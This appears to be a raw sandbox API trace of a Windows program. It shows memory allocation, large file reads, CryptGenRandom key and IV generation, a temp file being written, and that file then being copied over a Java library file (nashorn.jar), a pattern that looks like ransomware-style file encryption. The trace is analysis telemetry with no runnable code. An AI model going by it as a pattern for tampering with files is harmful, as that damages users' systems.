	[0244.927] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.964] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.015] SetEvent (hEvent=0xe4) returned 1
	[0245.015] VirtualFree (lpAddress=0xc0004f4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.015] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.045] VirtualFree (lpAddress=0xc0004ee000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.045] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.050] SetEvent (hEvent=0xd4) returned 1
	[0245.050] SetEvent (hEvent=0xe4) returned 1
	[0245.050] VirtualFree (lpAddress=0xc0004ec000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.051] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x50, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.133] SetEvent (hEvent=0xe4) returned 1
	[0245.133] VirtualFree (lpAddress=0xc00052a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.134] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.139] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x46, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.210] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.227] SetEvent (hEvent=0x1a0) returned 1
	[0245.227] SetEvent (hEvent=0xe4) returned 1
	[0245.227] VirtualFree (lpAddress=0xc000526000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.228] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.232] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x3e, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.304] SetEvent (hEvent=0xe4) returned 1
	[0245.304] SetEvent (hEvent=0x1a0) returned 1
	[0245.304] VirtualFree (lpAddress=0xc000522000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.314] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.326] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2d, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0245.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.323] SwitchToThread () returned 1
	[0246.374] SetEvent (hEvent=0x190) returned 1
	[0246.374] SetEvent (hEvent=0x188) returned 1
	[0246.374] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.646] SwitchToThread () returned 1
	[0246.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0248.593] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0250.377] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0250.664] SetEvent (hEvent=0xd4) returned 1
	[0250.664] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0250.705] ReadFile (in: hFile=0x19c, lpBuffer=0xc001498000, nNumberOfBytesToRead=0x1166c99, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc001498000*, lpNumberOfBytesRead=0xc0003e5b04*=0x1166a99, lpOverlapped=0x0) returned 1
	[0254.766] SetEvent (hEvent=0x124) returned 1
	[0254.766] ReadFile (in: hFile=0x19c, lpBuffer=0xc0025fea99, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0025fea99*, lpNumberOfBytesRead=0xc0003e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0254.766] CloseHandle (hObject=0x19c) returned 1
	[0254.766] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e440 | out: pbBuffer=0xc00000e440) returned 1
	[0254.766] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c190 | out: pbBuffer=0xc00028c190) returned 1
	[0254.766] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0254.806] VirtualAlloc (lpAddress=0xc003000000, dwSize=0x1400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc003000000
	[0254.891] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebf40000
	[0254.891] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebf70000
	[0254.892] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebfa0000
	[0254.892] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebfd0000
	[0254.892] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec000000
	[0254.893] VirtualAlloc (lpAddress=0xc0029b0000, dwSize=0x1168000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.893] VirtualAlloc (lpAddress=0xc0029b0000, dwSize=0x1168000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.893] VirtualAlloc (lpAddress=0xc0029b0000, dwSize=0x8b4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.893] VirtualAlloc (lpAddress=0xc0029b0000, dwSize=0x45a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0029b0000
	[0254.905] VirtualAlloc (lpAddress=0xc002e0a000, dwSize=0xd0e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.905] VirtualAlloc (lpAddress=0xc002e0a000, dwSize=0x687000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.905] VirtualAlloc (lpAddress=0xc002e0a000, dwSize=0x343000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.905] VirtualAlloc (lpAddress=0xc002e0a000, dwSize=0x1a1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002e0a000
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0xb6d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0x5b6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0x2db000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0x16d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0xb6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0x5b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.909] VirtualAlloc (lpAddress=0xc002fab000, dwSize=0x2d000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002fab000
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0xb40000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x5a0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x2d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x168000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0xb4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x5a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x2d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.910] VirtualAlloc (lpAddress=0xc002fd8000, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002fd8000
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0xb2a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x595000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x2ca000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x165000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0xb2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x59000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x2c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.911] VirtualAlloc (lpAddress=0xc002fee000, dwSize=0xb000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002fee000
	[0254.911] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0xb1f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x58f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x2c7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x163000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0xb1000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x58000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x2c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0xb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ff9000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002ff9000
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0xb1a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x58d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x2c6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x163000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0xb1000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.912] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x58000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.913] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x2c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.913] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.913] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0xb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.913] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0254.913] VirtualAlloc (lpAddress=0xc002ffe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002ffe000
	[0254.913] VirtualAlloc (lpAddress=0xc003000000, dwSize=0xb18000, flAllocationType=0x1000, flProtect=0x4) returned 0xc003000000
	[0255.044] SwitchToThread () returned 1
	[0255.052] SetEvent (hEvent=0xe4) returned 1
	[0255.052] SetEvent (hEvent=0xd4) returned 1
	[0255.052] SetEvent (hEvent=0xfc) returned 1
	[0255.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0255.105] SwitchToThread () returned 1
	[0255.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0255.155] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000c0e000, nNumberOfBytesToRead=0x1edf4e, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc000c0e000*, lpNumberOfBytesRead=0xc000211b04*=0x1edd4e, lpOverlapped=0x0) returned 1
	[0256.812] SetEvent (hEvent=0x124) returned 1
	[0256.812] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000dfbd4e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc000dfbd4e*, lpNumberOfBytesRead=0xc000211b04*=0x0, lpOverlapped=0x0) returned 1
	[0256.812] CloseHandle (hObject=0x1ac) returned 1
	[0256.812] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e440 | out: pbBuffer=0xc00000e440) returned 1
	[0256.812] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a310 | out: pbBuffer=0xc00021a310) returned 1
	[0256.812] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000901 | out: pbBuffer=0xc000000901) returned 1
	[0256.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0257.171] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0257.171] GetFileType (hFile=0x1ac) returned 0x1
	[0257.171] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000426000*, nNumberOfBytesToWrite=0x1ede4e, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000426000*, lpNumberOfBytesWritten=0xc0000bbbec*=0x1ede4e, lpOverlapped=0x0) returned 1
	[0257.268] CloseHandle (hObject=0x1ac) returned 1
	[0257.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0257.395] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0257.395] GetFileType (hFile=0x1ac) returned 0x1
	[0257.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0257.395] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0257.395] GetFileType (hFile=0x1b4) returned 0x1
	[0257.396] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.396] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.399] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.399] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.400] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.400] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.401] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.401] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.403] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.403] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.404] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.404] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.405] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.406] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.407] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.407] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.413] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.413] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.416] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.416] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.418] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.418] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.419] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.419] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.420] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.420] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.421] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.421] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.422] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.422] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.423] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.423] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
